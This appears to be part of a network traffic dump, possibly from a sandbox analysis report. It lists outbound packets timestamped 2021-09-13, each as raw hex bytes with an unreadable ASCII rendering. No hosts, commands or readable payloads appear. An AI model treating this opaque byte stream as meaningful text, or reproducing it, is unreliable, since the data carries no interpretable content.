2021-09-13 04:32:16 UTC	8399	OUT	Data Raw: 67 a2 f2 0f 94 13 80 9e 08 8c 89 bf 90 72 12 30 16 29 18 13 80 40 07 fe 58 55 5d 2b e9 e6 83 c6 8a 00 dc 6c 60 52 c7 d5 75 a7 5f 77 df 17 2e 00 b3 a3 1b 8c 04 14 ea 28 3b b6 de 00 11 38 ce c8 c0 dc 38 cc d7 8b 08 4c a8 13 0a 13 eb a9 c0 db 38 26 a5 45 20 06 11 c9 ea 48 c2 4e 06 02 9e 9f c9 a9 8e 22 3c b7 ce 89 c0 c2 bc 7a aa 9c df 40 55 0b ea a9 f5 82 3a 6a 3d 6f 0d 7d 67 7e 2d fd 88 a7 7f 7e 5b 3d fd df ed 8d f4 a7 85 44 9b dc c5 d7 ef 1e 33 68 48 3b 8c 1e bc 88 a8 c7 62 a2 be 4b 88 06 3e 41 74 c0 93 46 04 a2 89 f0 f0 a7 6b e8 f4 a5 6b e8 bc 17 d6 d0 25 2f d5 d2 95 2f af 91 26 bf d7 bf b2 86 6e 7a ab 81 e6 32 77 bc 4b 74 ef 7b 44 0f 7d 40 f4 d8 47 44 8b 3f 26 5a f2 09 f3 59 23 2d 59 56 4f 4f 2c ab a3 a7 97 d7 d3 52 e6 c5 65 0d f4 ca 67 a0 86 de 5a 5d 4b Data Ascii: gr0)@XU]+l`Ru_w.(;88L8&E HN"<z@U:j=o}g~-~[=D3hH;bK>AtFkk%//&nz2wKt{D}@GD?&ZY#-YVOO,RegZ]K
2021-09-13 04:32:16 UTC	8415	OUT	Data Raw: 23 00 33 7d 70 9f fa e1 9e f5 47 3a 00 0c c4 f4 3d 3e 9a 6f 30 7e 1f 31 a2 0f 64 47 6c 94 fc a8 cd da b4 b5 c3 c4 7a a9 9a dc 28 9d a7 36 4b d7 e9 22 dd 67 a2 3e 3d bd 59 a5 5f 97 99 6c 86 db a2 d3 6c d6 5b 35 a3 49 3a 02 46 e9 19 94 7a 46 f9 4c 47 d9 b4 7a 25 3f b5 41 72 53 6a 25 3b b9 4e c9 4d ac 55 32 e3 3d d8 7f 66 ec 56 c7 e8 2d 92 19 b9 49 32 23 36 47 72 2f 33 aa 21 c2 22 f0 48 4c ce 8d 69 41 5e 33 d6 a1 d4 6b 74 72 6f 94 14 18 e9 19 d1 22 99 e1 9e 11 9c 77 f9 59 0a 40 8a 42 a4 44 d7 e5 3a 23 b1 4d 32 0a d3 5e 24 16 a4 5f 31 91 00 f4 70 5e 9b 03 4f c0 31 4d c6 36 a6 20 6f b2 13 80 55 63 d7 ca 61 93 5e 91 2b 9f 5e 2d 4b 45 64 fa 6a 91 73 a6 ff 43 7a 5c f3 b0 f6 63 bd 5d 02 90 c3 4a b3 b0 ad 5e b7 51 8e fd d1 30 cf 50 65 e6 d2 3f 2b 9c de b4 69 93 d4 Data Ascii: #3}pG:=>o0~1dGlz(6K"g>=Y_ll[5I:FzFLGz%?ArSj%;NMU2=fV-I2#6Gr/3!"HLiA^3ktro"wY@BD:#M2^$_1p^O1M6 oUca^+^-KEdjsCz\c]J^Q0Pe?+i
2021-09-13 04:32:16 UTC	8431	OUT	Data Raw: 31 fd 82 db 57 b7 7d a4 e7 40 bc ed 5e 18 21 3d bb ec 2e 99 2e 3f 8f 7f 9e d8 67 a3 ed 2f 94 5e 9d 52 f6 15 ae 1b ee 7f 5b 05 20 d6 61 34 5f e6 4b e3 5d f9 39 15 e7 4b e9 b7 d7 27 a4 d7 e2 15 d2 6b d7 8f 48 66 87 2b dd be 3f b7 1f a6 c1 25 4b dc f5 dd e9 10 5c ab 43 a4 d7 42 bc 0c 2f 3b 1c f7 03 f3 a7 8e 94 95 2f 8e 92 9e bb 62 9e db 31 b1 c9 e3 bb f4 21 7c 6e a9 f4 ea ba 97 64 ba 5f e1 8e 1d e5 27 bb 73 20 4a 79 8f 22 e1 e9 cf 6d c7 03 75 1f 94 8a 99 5d 50 b6 c3 65 3b 1d 5c 58 b6 1f ca e5 07 02 b0 38 2f 99 1f 2e 4b 0a c0 34 e9 17 12 93 7c e0 03 01 d8 2a 69 d2 2f 24 4d f0 b5 c5 b6 08 c0 b4 e5 31 52 e4 1f 89 04 60 9a f0 23 81 f4 0b e5 9f 89 3f 92 3f 25 3e 40 48 1a 36 6a 30 b1 01 42 c2 48 40 6d 1a ec 25 60 5c 04 02 8d 0a a4 04 0c 29 25 00 1d 69 d2 2f c4 04 Data Ascii: 1W}@^!=..?g/^R[ a4_K]9K'kHf+?%K\CB/;/b1!\|nd_'s Jy"mu]Pe;\X8/.K4\|*i/$M1R`#??%>@H6j0BH@m%`\)%i/
2021-09-13 04:32:16 UTC	8447	OUT	Data Raw: 8d c1 f5 1f 89 73 19 51 27 65 da cc 0b e5 63 c8 d6 58 14 91 09 bb 48 da b1 52 eb 2b c5 56 31 76 e2 c0 0b 04 c0 3e ed 6c 70 8b fc 80 4d 0a 47 56 0d d1 e8 16 94 cf 5c 7f ec 13 64 ab 71 dd fa a1 c2 ca f2 ab 12 90 a0 bc 63 5b d9 6a 4b 1d a5 44 60 18 99 a8 78 01 a8 22 dd a3 7d 17 f6 7e 27 5d f6 a5 10 3d 7f 1a f9 e8 a6 93 d2 2f 84 c7 d1 ee 08 40 9e 27 2b fc 61 c4 9e 81 f3 54 2c 72 8b b2 c6 84 4d 00 07 b6 e1 7d e3 fd 2b 67 5f 5d a3 1a a4 62 0c ca ef d8 66 a9 c0 33 5a 81 67 b3 02 cf 26 cb 6f 87 e9 28 db 33 44 aa 50 5e 3a a1 dc 74 9a 23 2a fe 18 dd e7 22 fc 44 2a 00 47 f4 e6 28 df f9 99 2c a7 28 ef 78 0e 28 fa 54 f6 71 e0 9e 80 cc 2c 3c c7 33 f1 1c cc 40 99 27 94 7d 11 c8 c7 f2 ec 6c ac 8b e7 9a a9 46 0a 33 7f 4e a3 64 f1 9c 69 a4 f0 5c e4 cf c1 76 08 a6 73 f7 e1 Data Ascii: sQ'ecXHR+V1v>lpMGV\dqc[jKD`x"}~']=/@'+aT,rM}+g_]bf3Zg&o(3DP^:t#"DG(,(x(Tq,<3@'}lF3Ndi\vs
2021-09-13 04:32:16 UTC	8463	OUT	Data Raw: 1b d0 48 05 b6 47 03 ca 79 01 69 39 4e 24 a0 29 01 55 44 a0 4d 04 3a c9 3f 85 25 32 d0 21 22 50 49 40 c6 49 fa 39 12 a7 8a b0 5d 02 8a b9 02 75 34 01 e8 24 02 ab 8a 0c 54 58 52 85 6d 44 23 04 e9 c1 46 09 40 7e 20 e1 07 0a 25 00 bf 61 94 04 94 0f 07 8e 28 11 68 44 02 ba be a7 07 cb 01 f4 10 f9 03 3d 78 1a 12 90 23 02 45 54 a0 12 7f 3f d0 18 c6 94 80 f4 d0 6a c8 3c 25 00 ed a8 39 05 05 22 cd 38 8a 94 31 61 21 02 05 83 69 5d 45 58 0d a5 87 5b 43 0a 4a 64 1f cf df e6 d8 0a e8 b5 0c 99 12 23 04 a9 75 db 84 89 40 45 0c 72 3b 96 de a3 81 4a 1d 16 a9 c1 13 82 48 98 48 f0 5c 81 93 89 29 d4 3f 25 00 17 cf 79 36 8d d6 79 de 33 82 e7 44 53 b8 a7 31 21 21 01 eb 4c f3 8b 0a c3 f5 67 56 a2 e1 ac 0a 34 a2 07 f0 03 67 96 a0 e9 ac 62 1c 32 bb 18 47 a4 97 e3 d8 74 0f 3d 84 Data Ascii: HGyi9N$)UDM:?%2!"PI@I9]u4$TXRmD#F@~ %a(hD=x#ET?j<%9"81a!i]EX[CJd#u@Er;JHH\)?%y6y3DS1!!LgV4gb2Gt=
2021-09-13 04:32:16 UTC	8479	OUT	Data Raw: ea 22 50 a6 13 13 3c 4f dc 84 b0 98 9b ae e1 a0 bf 71 fa b0 d5 78 ef 8f 00 66 03 48 23 5e fc a5 12 a7 4f d8 80 46 e3 8a c4 1c 7f 09 13 08 16 78 93 e8 78 2c ef 54 b5 e2 09 30 ab cb 72 31 09 46 08 46 bd c2 2c 0b 40 21 01 69 3b 0b 25 43 f8 89 96 a3 cd 58 26 72 2b b6 d3 f1 85 28 a4 3e 1e 23 d2 8b a9 9d 4a 7d d3 68 5f 42 46 22 1a db 26 d1 f5 9d 1c 10 29 ca 8c 4a 2f 56 f3 11 d6 a3 07 6e 2e 52 22 98 52 8e 03 26 97 a2 f1 e4 62 1c 32 b5 10 47 4e 2f 41 b3 19 c5 38 8e 38 99 38 7b 76 29 9a a7 94 e2 d2 94 32 5c 99 56 8e b6 e9 65 b8 29 cb 83 ce b9 5e f4 28 08 e1 9e 05 5c 30 04 78 9a 1e f8 5f 58 09 bc bc 1a 78 63 0d f0 ee 5a e0 83 75 c0 c7 04 0b be 6f 37 49 31 38 60 33 f0 23 f1 93 c1 40 5e df 42 db b6 03 df ec 00 be 26 38 dd 98 53 8d 3f d8 08 bc f5 17 f0 fa 7a 3a 2e 1d Data Ascii: "P<OqxfH#^OFxx,T0r1FF,@!i;%CX&r+(>#J}h_BF"&)J/Vn.R"R&b2GN/A888{v)2\Ve)^(\0x_XxcZuo7I18`3#@^B&8S?z:.
2021-09-13 04:32:16 UTC	8495	OUT	Data Raw: 84 85 04 b4 88 40 22 89 c6 33 c9 44 bd 19 41 34 98 19 42 a3 59 61 34 4d 09 8b 79 03 8f 4c 0b 83 2b c6 1e 9f 15 c1 49 d9 11 9c 92 1d c2 69 86 10 e2 d4 50 8e fa e2 b9 df 44 ca 70 2e 47 6f 85 d0 96 b8 21 2f 80 9b f3 7c b2 b8 48 5e 05 7a e4 97 e3 ae 82 0a dc 37 cf 83 3e f3 3d 78 8c 78 ba a0 08 af cf df 89 ef 56 15 63 ee 4e 1f fe 04 b0 90 f8 6c 3d 70 f9 94 1d 38 f0 07 fa ad fb 92 be b3 1f 97 22 f1 ed 6d a8 f3 c6 16 24 bf b1 11 49 af 6f 80 fb d5 bf 84 00 3c f3 83 45 78 35 73 3b 56 94 03 3b 11 c6 c6 48 18 73 77 14 63 e6 e6 4a cc d8 0a a4 6d 03 b2 a8 cd a3 76 0e dd cf 73 77 10 2c 02 4b 68 9d 05 61 99 24 8f ee f3 ec 62 20 93 48 2f 04 52 09 9e ab 70 3a 8d 9f 42 fb 4d a4 63 70 f4 e0 c8 0d c0 b0 75 61 0c fe 23 80 1f fe f4 e3 eb 75 41 7c b8 d6 8f 77 7e f5 e0 d5 5f 3c Data Ascii: @"3DA4BYa4MyL+IiPDp.Go!/\|H^z7>=xxVcNl=p8"m$Io<Ex5s;V;HswcJmvsw,Kha$b H/Rp:BMcpua#uA\|w~_<
2021-09-13 04:32:16 UTC	8511	OUT	Data Raw: 22 5f ef cf 5a f5 f7 46 35 d5 37 d6 65 3e 67 4f f3 55 18 a8 16 03 b1 e1 2f 8d 7f 7a ca 6f 20 b5 e8 47 f4 96 e5 0c 80 34 da 84 d3 00 18 b9 9d 56 a3 f4 00 a0 e0 5f 18 02 d6 10 00 e6 7a be fd 3c 37 03 80 92 60 1c 25 a3 0b 7d fb 02 cf 21 04 54 98 67 23 9f 40 9f fb d8 44 cf e3 e7 d2 eb e9 7c 00 48 f8 47 69 fc 13 00 54 a3 ff f2 00 c0 6c 65 c3 c1 1d 00 80 6a 1a 70 82 f3 e1 5e 3e e5 03 80 94 a0 9f fd 58 5d 07 90 6e 13 10 7b 31 0d 80 fb 0f fa 14 ea 8f c7 3f 1e 35 00 9e 31 6a bb 1f 00 09 d6 3c f8 e6 6d 37 00 aa 0a 05 40 27 1b 00 29 77 5a 30 03 60 b6 51 80 1f 62 1e f8 93 aa 13 00 8b 46 27 61 af 51 00 fb 62 7f 1c 03 70 d8 38 80 63 b0 13 c7 25 e1 b4 c9 09 5e e5 95 00 f0 a1 39 9b 61 cc d7 09 06 c0 d1 65 c0 23 b8 8e 78 7e 1d fc ec 51 fc 7d f9 00 76 0f fe 3e bd 7d b5 1a Data Ascii: "_ZF57e>gOU/zo G4V_z<7`%}!Tg#@D\|HGiTlejp^>X]n{1?51j<m7@')wZ0`QbF'aQbp8c%^9ae#x~Q}v>}
2021-09-13 04:32:16 UTC	8527	OUT	Data Raw: 02 c0 c0 73 f2 06 c0 f5 5c 18 00 ca d4 5e c2 bf e8 03 9f 41 e4 41 95 0f fd ec 64 a5 5f 03 81 16 fe d9 00 68 7a 94 ae f3 97 4e 01 a0 4e 8f 06 e4 1c d8 cb 37 1f 00 da e0 e7 e6 c7 3f ca 81 3f 3b 1b 00 6d d0 b3 b2 b1 cf 57 36 00 a4 04 01 05 fa 6c 04 b4 b7 09 fc 05 a6 06 e3 f6 ea 00 c0 d6 f8 47 e5 6e 00 d4 b7 3f 52 00 8c 7c 84 9f 17 b3 01 d0 46 40 c2 3f 9e 12 3c 0a 7f c6 a8 d1 34 fd 57 8d fe 23 00 2c 1a 99 32 00 18 1b 59 c1 0b 81 1c 38 36 09 87 8c 05 f8 d7 b8 04 03 e0 1d f3 d5 08 40 fc 51 83 a1 5f 02 5c f1 c1 17 70 e0 23 2b f1 f7 d2 2a d8 e3 ce e5 0a 00 cd ef 75 ac cb 3c 03 80 a7 3d 3c 29 14 00 65 04 60 36 00 a4 d1 7d 17 4e 49 04 10 2f 38 c5 57 4f ed d5 b0 27 65 03 c0 46 f8 5e 84 7f 8d a7 5b f0 37 5d 4d 03 16 f8 63 fc a3 51 7f 35 0e 80 09 2e 1b 00 aa a9 bf 0a Data Ascii: s\^AAd_hzNN7??;mW6lGn?R\|F@?<4W#,2Y86@Q_\p#+*u<=<)e`6}NI/8WO'eF^[7]McQ5.
2021-09-13 04:32:16 UTC	8542	OUT	Data Raw: 8f bf 23 97 f2 ff 2e f8 00 70 cf 8e 0a 00 69 04 e0 ff d6 a8 11 80 02 80 37 8c ff 12 ae 9c a4 00 90 46 ff 11 00 d2 14 e0 06 53 d2 53 80 09 00 19 01 a7 05 a7 f4 ba 35 c4 63 7c 65 ec 77 00 b0 31 be 2f 95 0b 00 c3 ba 6c 7a 92 23 f4 cb 06 80 f2 f8 aa 99 49 4e 00 50 ae 05 28 00 d8 6c 76 8a ab 09 00 24 fc 0b 03 c0 8e b3 e3 59 01 30 6c 11 90 42 01 50 10 f0 de 85 1a 01 2d 00 a4 b2 01 a0 0f 01 5d 00 74 7b 62 45 82 11 30 e7 22 20 16 fe d9 00 a8 f0 2f 1c 00 09 fe 24 1f 00 12 fe 51 43 d7 a9 95 7f b3 01 e0 a3 0b b7 c3 d5 c3 d7 54 01 00 ff ef 74 0d 2d 2b a1 ef 19 fb e1 fd c3 21 f2 1b 4a 6f ab 1d 81 48 a4 25 de 2f 86 be a7 ee 05 b5 fb 15 03 0c c7 3f f6 7e 7d 30 44 7f f7 0f 88 1e a4 01 90 c0 ed 8f d7 32 e6 0d 6b 77 20 c3 52 84 46 ea fd 5e c1 57 94 40 ef 37 8d cc fe e8 3e Data Ascii: #.pi7FSS5c\|ew1/lz#INP(lv$Y0lBP-]t{bE0" /$QCTt-+!JoH%/?~}0D2kw RF^W@7>
2021-09-13 04:32:16 UTC	8558	OUT	Data Raw: 83 aa 04 e0 e8 c5 90 7c 86 31 9f 33 8b 8c fc 03 a6 ad 92 c6 2e 5a 4d 63 16 af a6 47 17 55 d0 d5 73 97 d0 99 af 7d 2d 02 70 ab 1e fc 3b e5 09 83 f8 77 ff 81 fc 39 e4 d2 ea 0a 40 f7 cf 4b d4 05 59 7a be 00 dc 68 6b c3 5f 1a 18 e1 86 6b d3 c5 22 0c 17 dc 76 84 1d 6f 05 e2 8b dd ec 78 be d7 06 d8 47 50 ef ef 0a 40 3b 07 ee 85 7d 01 f1 ac c8 f6 83 04 c4 33 1e 79 37 8f 20 7a a1 d7 6e dc b7 9f 29 f2 b1 e3 09 72 8c 7d 0a 73 de 73 8b 03 a5 38 49 72 17 2b 00 95 90 c0 12 9a 47 a8 b4 f3 c9 25 f7 42 7d 8a f6 ff 57 0a 40 bc 6f 36 53 32 b6 fc d7 ca bf 6a 09 c0 58 d6 9f c1 ec e9 97 2d f6 b4 6d ad 0b 40 b0 96 33 00 5d 7c 01 08 22 11 a5 f7 f1 9f 23 c2 b9 af 4b ec 19 f3 a0 f7 b1 c2 2a 17 ee b8 82 08 dd 6b 4d f0 5f 77 68 8c 4b d6 33 a1 9d a3 95 70 2a f2 44 be a1 cd 7f 8d 2a Data Ascii: \|13.ZMcGUs}-p;w9@KYzhk_k"voxGP@;}3y7 zn)r}ss8Ir+G%B}W@o6S2jX-m@3]\|"#KkM_whK3pD*
2021-09-13 04:32:16 UTC	8574	OUT	Data Raw: 3f 4f 00 32 d1 b2 e0 f3 e3 12 d0 c8 3f e6 fc 0f 84 ea 0a 40 90 1a 90 47 00 e6 42 e5 5f 35 25 60 48 ea 55 87 ea 08 40 39 86 f8 bb 9c c7 38 12 50 c4 9e 15 80 8a 91 77 ce 39 f7 8b 28 74 04 a0 1c a3 dd 8e 15 62 f2 8f 81 c4 fb 8d 05 60 24 fd 02 7b fe 81 e4 4d 28 fa 61 80 fc ab 0d 01 08 22 09 17 e8 53 5c 59 27 63 7d 61 57 15 01 01 98 ba 35 3e 67 6c de 40 16 a0 22 02 10 55 80 ad 00 2c b9 e3 67 11 80 f5 5e a9 a0 0b 16 f0 07 e0 1f 88 3a ce 36 19 80 10 80 90 7f c2 30 fa 53 00 2a 63 f9 3e 79 58 db 02 b0 2a 5c 61 27 d2 2e 30 a6 3a c4 e6 aa 05 01 78 d0 0b df 48 06 20 04 e0 b3 3f 13 75 78 e6 2b da f2 f2 99 46 00 e2 e7 3b 7e de 67 09 c0 89 91 00 bc fa a5 4f 68 de ea 8c 00 ec 39 ed 5b 6a 34 fe 47 6a 30 65 19 1d 33 65 35 1d 39 9d e8 88 a9 10 80 15 74 cc a4 52 11 80 ae 04 Data Ascii: ?O2?@GB_5%`HU@98Pw9(tb`${M(a"S\Y'c}aW5>gl@"U,g^:60Sc>yX\a'.0:xH ?ux+F;~gOh9[j4Gj0e3e59tR
2021-09-13 04:32:16 UTC	8590	OUT	Data Raw: ef a7 56 09 e9 a7 96 0b a9 a7 56 52 fa 69 fe 7a 3f bd 92 12 4f ad e0 39 97 f2 fd f9 fb e1 e9 25 b4 ee 33 bf d0 06 cf fe 4c 5b 3e b1 88 8e 7d e2 1d ba e5 93 65 34 9d 3f 73 8d e5 ef b7 d3 06 7f 48 9b f4 78 9d ea 76 9e 44 45 9d 66 f0 cf 8a a9 94 ee 3c 5e fe d3 22 d1 65 34 25 ba 3f c6 91 7f d6 74 19 46 ff ba f8 49 ba fd 95 4f 69 71 29 d1 7b ab f9 33 dc e7 cb a9 e5 eb f3 e9 d0 17 16 d2 21 af fe 4a fb bd ba 9c f6 15 56 d2 7e af ac a6 fd 5f 66 5e 5b 21 1c f0 ca 2a a6 94 f6 7d 79 45 c4 7e af ac 94 b1 7b bf c6 bc ba 9a f6 7a 6d 35 ed f3 46 19 ed f9 46 29 ed c1 fc 7b 1c c7 f1 65 f4 af 09 cc f8 72 da 63 dc 2a da 67 1c cf 3f 6e 99 b0 df f8 e5 b4 ff 04 9e 7b e2 ca 08 b4 f9 7d 07 4e 5a 15 61 32 0b cb 6c a6 a1 c9 2a 04 58 5e 7c d4 a4 32 3a 9a 8f c1 b1 3c e6 38 6e 3b 7e Data Ascii: VVRiz?O9%3L[>}e4?sHxvDEf<^"e4%?tFIOiq){3!JV~_f^[!}yE~{zm5FF){ercg?n{}NZa2l*X^\|2:<8n;~
2021-09-13 04:32:16 UTC	8606	OUT	Data Raw: 96 88 cc ab 18 24 01 31 89 45 5e 91 6d 4d 0c 12 24 08 b1 91 a0 32 75 b8 83 59 0f 50 31 d3 89 5f e5 6b 1e 29 fd 65 8d 3f 89 5c c4 d8 56 32 42 92 ca 36 ea b8 0d 49 41 64 3d c0 d1 86 0b de a4 c4 79 63 f9 f8 51 fc 5e a0 0d 0c 17 b1 87 ac d3 58 67 11 9f 39 59 8b 51 80 e8 83 28 e4 31 65 4a 34 de 43 fb d9 6c 8b cf 3b ff 6e b7 79 82 3f 87 fc bb d9 9a 7f 47 5b f1 ef 7f 2b fe bd 6f cd 60 bb 25 e0 36 de 4e b5 ee cd 3c 2e 24 5b 1a 12 2d f8 3b c1 01 d3 ef 11 e1 9b 3e 8d fb c9 9a 9f e0 31 2a 3c f5 31 29 cd 1a a2 fc dd a0 d1 7f 19 12 d0 4c 17 0e c8 10 82 fc 1d a7 88 f8 f3 90 64 1a 4c 90 ec c8 12 c8 3e 15 80 8a d6 5b 32 8e 0b e5 1f b6 55 d6 61 6d 41 9d 3e ec ae 25 08 61 e6 0b 34 17 39 a6 31 7f c7 3b a4 9b 60 3d 43 f0 40 84 64 13 fe ce 77 48 34 e6 bf 07 76 3b d5 d8 25 3a Data Ascii: $1E^mM$2uYP1_k)e?\V2B6IAd=ycQ^Xg9YQ(1eJ4Cl;ny?G[+o`%6N<.$[-;>1*<1)LdL>[2UamA>%a491;`=C@dwH4v;%:
2021-09-13 04:32:16 UTC	8622	OUT	Data Raw: 71 1e 25 8f e4 eb 43 04 1d 83 eb 2e 38 a6 b3 90 3e ca 50 70 74 97 58 d2 c7 5d 48 49 26 5b 29 11 76 5c 26 b8 14 10 61 07 6c 7d aa e6 45 59 49 d6 0a 4b 25 55 bb ab 90 ae 03 e1 c7 d4 33 51 65 e9 fa 90 59 57 53 41 03 13 ad 55 88 48 2d b7 6c 70 a3 89 de 6a 18 2d 25 ca 0b 12 4b 23 c2 ec d4 48 9d 36 09 49 26 11 62 5c ba 40 ae 81 44 9d 1e 4c 77 4a d6 0e 4b 13 8d 86 76 ae ab dd 5d ea a5 cd 89 50 33 d7 0b 91 d6 33 27 05 f5 6f c8 00 f7 a2 b8 eb a5 55 04 a6 73 56 96 02 08 b5 2c 40 b6 25 1a df 64 44 5e 53 48 37 23 de 92 0e 90 69 a9 93 8c 5c 43 09 71 96 3a 89 ff 80 5b 92 56 c2 25 9b 62 4a 68 88 1f c1 e6 f6 09 85 9d 6d e3 71 dc 12 62 ce 44 b6 dd 43 c9 13 ee 12 20 ea e2 30 d2 8e fb d9 d2 95 77 3e c9 53 4c 99 68 66 44 5f e2 e4 07 28 71 8a cd 0a da 8c 39 15 49 0f 18 2e 93 Data Ascii: q%C.8>PptX]HI&[)v\&al}EYIK%U3QeYWSAUH-lpj-%K#H6I&b\@DLwJKv]P33'oUsV,@%dD^SH7#i\Cq:[V%bJhmqbDC 0w>SLhfD_(q9I.
2021-09-13 04:32:16 UTC	8638	OUT	Data Raw: 29 b4 3a 8d d6 26 d4 30 a0 ce 15 80 a7 f0 38 21 c9 03 9a e5 24 b1 3f 9f 33 e0 c4 0c 54 5c 2a d9 ea 95 50 fa b9 32 90 c1 fe c1 5c cf f7 ad 89 41 70 ed a9 7f 9c c6 9c 21 98 ec c0 8a 2f d7 20 dc 20 de 5a 1b 02 61 77 a6 ad 6f 63 db b0 8d fa e8 f1 9a 70 24 a5 6b f5 a1 1e d3 90 ed 54 64 cd 48 ec 1e 13 8c 15 43 b0 e6 9f db 5f 8e 41 bd 01 92 11 40 3a 06 1c de 56 10 69 07 11 c9 a5 88 48 48 41 94 1e d2 a7 12 98 28 40 83 26 20 91 24 24 56 04 86 74 8c 80 2c b7 c0 95 5d 2a bc 5c 42 c1 97 0d 4f fc f9 1c 65 32 e6 2a 2a 04 75 1f 32 0d 52 4d 11 b9 e6 d4 e9 76 e2 88 0b 42 78 5c d3 ee 0a 48 83 7f fd 72 0f 72 6f 59 04 68 70 6c e6 b5 eb 35 c8 f5 1e 19 0a cc d4 31 17 4b 09 24 0b b0 e2 8b 40 95 81 2e ba 36 a0 12 48 c2 2b 63 65 5f 48 f7 2c 70 5b 1d db 47 a6 fb f6 30 d4 0b a3 fe Data Ascii: ):&08!$?3T\P2\Ap!/ Zawocp$kTdHC_A@:ViHHA(@& $$Vt,]\BOe2**u2RMvBx\HrroYhpl51K$@.6H+ce_H,p[G0
2021-09-13 04:32:16 UTC	8654	OUT	Data Raw: 70 2f 85 80 3c 0a b0 23 a4 f6 bb d5 76 1b 17 1d 79 67 e0 2d 82 78 07 dc c3 09 0e 0a ca 05 1d 84 8f a1 e8 b6 06 3d 05 78 de 63 6e c1 39 34 dd 58 65 41 32 71 b0 8d 41 cf 41 3c 4e b0 cf dc 17 f0 8b c0 1f 6d 83 42 e4 63 e8 93 a9 be 3a c1 39 06 3a b9 4f 50 47 f7 b1 23 1e 63 88 33 f0 17 1d 91 e7 16 4e 1d 8e 09 9f c3 8d 9e 3b c0 bc 23 3b 17 a6 f6 27 8f 32 a5 8e 7e 26 92 ec 2f 16 9d a7 61 af 20 da 7f 24 6e 8f 7a 16 6f 3f c7 d1 c2 1f 7c ed 3f 55 e2 d8 28 c4 99 95 78 5f e1 a9 b7 8c 78 8c 6f 6f 43 ea d4 77 20 75 ca bb 90 38 e5 9d b0 93 df 32 23 04 4f 7a d3 14 4c 05 36 d3 81 19 0f 09 11 69 4a 2f af 0a 6c 9e 3f 80 c0 e0 f5 2c fc 49 c1 b5 ff 2c 02 da 11 80 21 04 1a 00 4c 9e 8a ef e7 b4 77 21 79 fa ff 38 46 bf 33 cd 35 ff 74 02 80 3a 5e 10 e4 2c 3c 1e 2c 0c e2 c9 39 96 Data Ascii: p/<#vyg-x=xcn94XeA2qAA<NmBc:9:OPG#c3N;#;'2~&/a $nzo?\|?U(x_xooCw u82#OzL6iJ/l?,I,!Lw!y8F35t:^,<,9
2021-09-13 04:32:16 UTC	8670	OUT	Data Raw: 35 84 bf a7 a7 e6 39 01 40 81 3f 1f 00 6a 08 2c 17 00 e9 da 7f 3e 00 7c 79 36 f8 01 f0 a8 fb f0 33 05 7d 06 b2 00 e8 c3 37 5d 8b 03 a0 07 02 e5 35 db 1a 00 f2 71 0d 7e 71 d9 e7 e1 e8 71 36 17 ff 7c 00 18 dc 17 00 f4 a0 9f ce 7d 9c 9b 0f fd 74 be c7 ac ab e4 6b 29 56 ec f9 6d 06 00 cd 48 40 17 ec e2 8a 03 3e 29 ee 78 b0 7f 23 00 96 55 1c 00 9a 29 c0 f4 da f6 f5 24 01 40 c2 3f 01 40 5a ec 63 23 00 46 01 d0 59 fc 43 00 30 b5 4f 47 ae 24 00 ee 67 16 02 31 f8 47 b7 5b 19 00 7d e8 a7 73 e0 cf cd 87 7a 0d a9 1c 00 e4 14 00 32 02 36 10 00 83 1c f0 73 8b 00 a0 c5 3f de ef c1 3f ee b8 57 a2 00 28 78 a7 f0 4f 00 50 23 60 83 01 90 0a e0 4f 0a 01 90 de 53 29 00 d4 20 d7 50 00 0c 10 50 03 20 65 01 50 16 ff 10 f8 0b 00 d0 2e 36 42 53 7e cd eb bd 67 d2 00 78 c6 07 06 fd Data Ascii: 59@?j,>\|y63}7]5q~qq6\|}tk)VmH@>)x#U)$@?@Zc#FYC0OG$g1G[}sz26s??W(xOP#`OS) PP eP.6BS~gx
2021-09-13 04:32:16 UTC	8686	OUT	Data Raw: 9f 14 80 5f 2b 02 a0 c6 3e 5f fa dc a0 47 0c 02 36 1a 00 3b d7 31 00 6e f6 d4 0a f8 fe e3 b3 e1 a0 6e d9 00 00 ff 43 d3 c6 5e a9 82 cd 5e 4c 33 00 a6 de 70 00 90 00 af 39 01 b0 4c 04 dc 08 80 b8 4f 10 d0 87 7a 0d a9 29 00 c8 65 f8 3a 80 15 dd ea 19 00 2b be cc c0 37 f1 bc ef f5 04 9e 06 fc db 3e 79 f8 73 9f 34 fc ab 6f 1e f6 e8 97 e5 51 6d 17 0c cd c2 9d a3 d6 32 6a 4c af 33 2b 00 d3 4a be 04 80 87 f5 58 08 3f 79 65 0e 03 60 ea c1 b5 90 c4 df 5f fe 37 41 01 e0 37 6f 34 00 d8 d1 02 20 3d d6 07 80 87 e2 6b c9 08 40 01 c0 83 9b 19 00 69 4a 71 24 e7 b8 c6 3f 7a 0f 1a ff 9a 03 00 83 68 5f 90 99 f2 4b d1 ea be 74 7d 3f 9e ea 1b 81 3f 8d 7f 10 c0 1f a5 af f1 27 f8 77 e1 f0 0c 5c 3c 3c cb 31 fc e1 31 da 76 c0 f3 19 fe ec 6a bf 32 ed 57 ae f9 17 2c f2 31 c6 4c f5 Data Ascii: _+>_G6;1nnC^^L3p9LOz)e:+7>ys4oQm2jL3+JX?ye`_7A7o4 =k@iJq$?zh_Kt}??'w\<<11vj2W,1L
2021-09-13 04:32:16 UTC	8702	OUT	Data Raw: f4 94 7c d5 61 44 00 fe b7 05 a0 97 04 d4 fc e9 02 90 e1 7e 83 ff ef 02 d0 8b ed 15 80 db 4b 2a 01 a8 e7 02 74 08 40 87 04 d4 11 7f 4e 01 c8 73 01 9a 02 90 a3 ff ea 22 00 53 62 ee c7 f2 4f 63 1e 87 96 75 f4 9f 26 ed 0e 6a 4d 09 f8 4f 15 80 a6 fc fb 07 0b 40 96 7f 7f a6 00 d4 e3 6c 3c d2 7d 4d cc 73 c8 71 53 08 40 9f 21 00 75 e4 9f 97 00 74 8b 3f 8d 19 f1 e7 c9 ff 8a 00 34 04 9f a7 04 34 b6 6f 8b 00 74 44 00 d6 52 00 3a 22 00 5d 02 d0 2d 01 3d a5 5e 5d 70 45 ff 39 04 e0 b7 45 4a fe 79 44 00 ee 08 01 98 24 ff b6 51 00 d6 6f 5b 2e 02 f0 c0 36 1b f1 90 25 00 df d9 e8 12 80 5d 68 5f 96 7d 7f a6 00 dc 1e 09 e8 25 ff 98 6d 10 80 8c 97 ec f3 c2 53 ea 55 87 3b 22 d0 4b fa 99 d4 46 00 7a 49 40 dd ff 17 08 40 5e af 51 00 52 cb 15 81 9b 65 54 e1 88 cc 72 5c 3e a1 02 Data Ascii: \|aD~K*t@Ns"SbOcu&jMO@l<}MsqS@!ut?44otDR:"]-=^]pE9EJyD$Qo[.6%]h_}%mSU;"KFzI@@^QReTr\>
